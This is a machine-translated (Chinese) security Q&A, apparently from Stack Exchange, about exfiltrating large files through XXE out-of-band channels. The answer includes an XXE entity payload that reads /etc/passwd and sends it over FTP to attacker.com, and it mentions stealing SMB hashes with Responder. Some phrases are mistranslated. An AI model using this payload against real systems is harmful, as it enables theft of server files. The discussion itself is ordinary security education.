通过XXE OOB (Out of Band)提取文件的大多数示例都设置了侦听HTTP服务器,并侦听所请求的URL上的传入请求。但是,由于URL长度限制在2048年左右,您如何通过此方法或其他OOB方法提取更大的文件?是否可以通过XXE执行职位请求?
发布于 2021-04-29 17:04:38
这是一个非常有趣的问题,而且在讨论XXE时,这个问题经常被忽略,典型的PoC在那里提取/etc/passwd文件。根据一个消息来源,“很大的文件,如/dev/随机和/dev/零,要么无法检索,要么导致拒绝服务。这是DoS通过XXE。”因此,我认为简单的答案是,由于没有任何逻辑或脚本来分解请求,所以不可能在没有问题的情况下通过HTTP请求发送大型文件。但是,如果您愿意查看其他一些协议,则可以使用FTP提取更大的文件。
与发出HTTP请求不同,您可以尝试使用以下示例发出FTP请求:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2222/?data=%data;'>">然后假设您有一个侦听FTP服务器,那么您就可以以这种方式提取数据。(有关此方法的更多信息可以找到这里)列出的指南还解释了如何使用响应程序使用SMB协议窃取散列。当然,这里最大的缺点是与其他协议一起工作,试图让其他端口通过防火墙,因为HTTP甚至DNS通常都是允许的,这使它们成为理想的端口。
https://security.stackexchange.com/questions/215164
复制相似问题